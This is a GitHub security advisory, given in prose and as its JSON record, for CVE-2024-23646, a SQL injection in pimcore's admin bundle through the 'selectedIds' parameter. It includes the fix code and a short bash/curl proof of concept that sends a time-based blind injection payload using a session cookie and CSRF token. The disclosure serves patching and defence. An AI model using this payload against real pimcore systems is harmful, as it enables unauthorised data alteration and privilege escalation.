GHSA-CWX6-4WMF-C6XV
Vulnerability from github – Published: 2024-01-24 20:54 – Updated: 2024-01-24 21:34Summary
The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection.
Details
downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not. The following code should be added:
foreach ($selectedIds as $selectedId) {
if ($selectedId) {
$quotedSelectedIds[] = $db->quote($selectedId);
}
}
PoC
- Set up an example project as described on https://github.com/pimcore/demon (demo package with example content)
- Log In. Grab the
X-pimcore-csrf-tokenheader from any request to the backend, as well as thePHPSESSIDcookie. - Run the following script, substituting the values accordingly:
#!/bin/bash
BASE_URL=http://localhost # REPLACE THIS!
CSRF_TOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS!
COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS!
SQL="(select*from(select(sleep(6)))a)"
curl "${BASE_URL}/admin/asset/download-as-zip-add-files?_dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \
-X GET \
-H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \
-H "Cookie: ${COOKIE}" `
- The response is delayed by 6 seconds.
Impact
Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "pimcore/admin-ui-classic-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-23646"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-24T20:54:15Z",
"nvd_published_at": "2024-01-24T20:15:53Z",
"severity": "HIGH"
},
"details": "### Summary\nThe application allows to create zip files from available files on the site. The parameter \"selectedIds\", is susceptible to SQL Injection.\n\n### Details\n[downloadAsZipJobsAction](https://github.com/pimcore/admin-ui-classic-bundle/blob/1.x/src/Controller/Admin/Asset/AssetController.php#L2006) escape parameters, but [downloadAsZipAddFilesAction](https://github.com/pimcore/admin-ui-classic-bundle/blob/1.x/src/Controller/Admin/Asset/AssetController.php#L2087) not.\nThe following code should be added:\n```\n foreach ($selectedIds as $selectedId) {\n if ($selectedId) {\n $quotedSelectedIds[] = $db-\u003equote($selectedId);\n }\n }\n```\n\n### PoC\n\n- Set up an example project as described on https://github.com/pimcore/demon (demo package with example content)\n- Log In. Grab the `X-pimcore-csrf-token` header from any request to the backend, as well as the `PHPSESSID` cookie.\n- Run the following script, substituting the values accordingly: \n```\n#!/bin/bash\nBASE_URL=http://localhost # REPLACE THIS!\nCSRF_TOKEN=\"5133f9d5d28de7dbab39e33ac7036271284ee42e\" # REPLACE THIS!\nCOOKIE=\"PHPSESSID=4312797207ba3b342b29218fa42f3aa3\" # REPLACE THIS!\nSQL=\"(select*from(select(sleep(6)))a)\"\n\ncurl \"${BASE_URL}/admin/asset/download-as-zip-add-files?_dc=1700573579093\u0026id=1\u0026selectedIds=1,${SQL}\u0026offset=10\u0026limit=5\u0026jobId=655cb18a37b01\" \\\n -X GET \\\n -H \"X-pimcore-csrf-token: ${CSRF_TOKEN}\" \\\n -H \"Cookie: ${COOKIE}\" `\n```\n- The response is delayed by 6 seconds.\n\n### Impact\nAny backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.\n",
"id": "GHSA-cwx6-4wmf-c6xv",
"modified": "2024-01-24T21:34:22Z",
"published": "2024-01-24T20:54:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pimcore/admin-ui-classic-bundle/security/advisories/GHSA-cwx6-4wmf-c6xv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23646"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/admin-ui-classic-bundle/commit/363afef29496cc40a8b863c2ca2338979fcf50a8"
},
{
"type": "PACKAGE",
"url": "https://github.com/pimcore/admin-ui-classic-bundle"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/admin-ui-classic-bundle/blob/1.x/src/Controller/Admin/Asset/AssetController.php#L2006"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/admin-ui-classic-bundle/blob/1.x/src/Controller/Admin/Asset/AssetController.php#L2087"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/admin-ui-classic-bundle/releases/tag/v1.3.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SQL Injection in Admin download files as zip"
}
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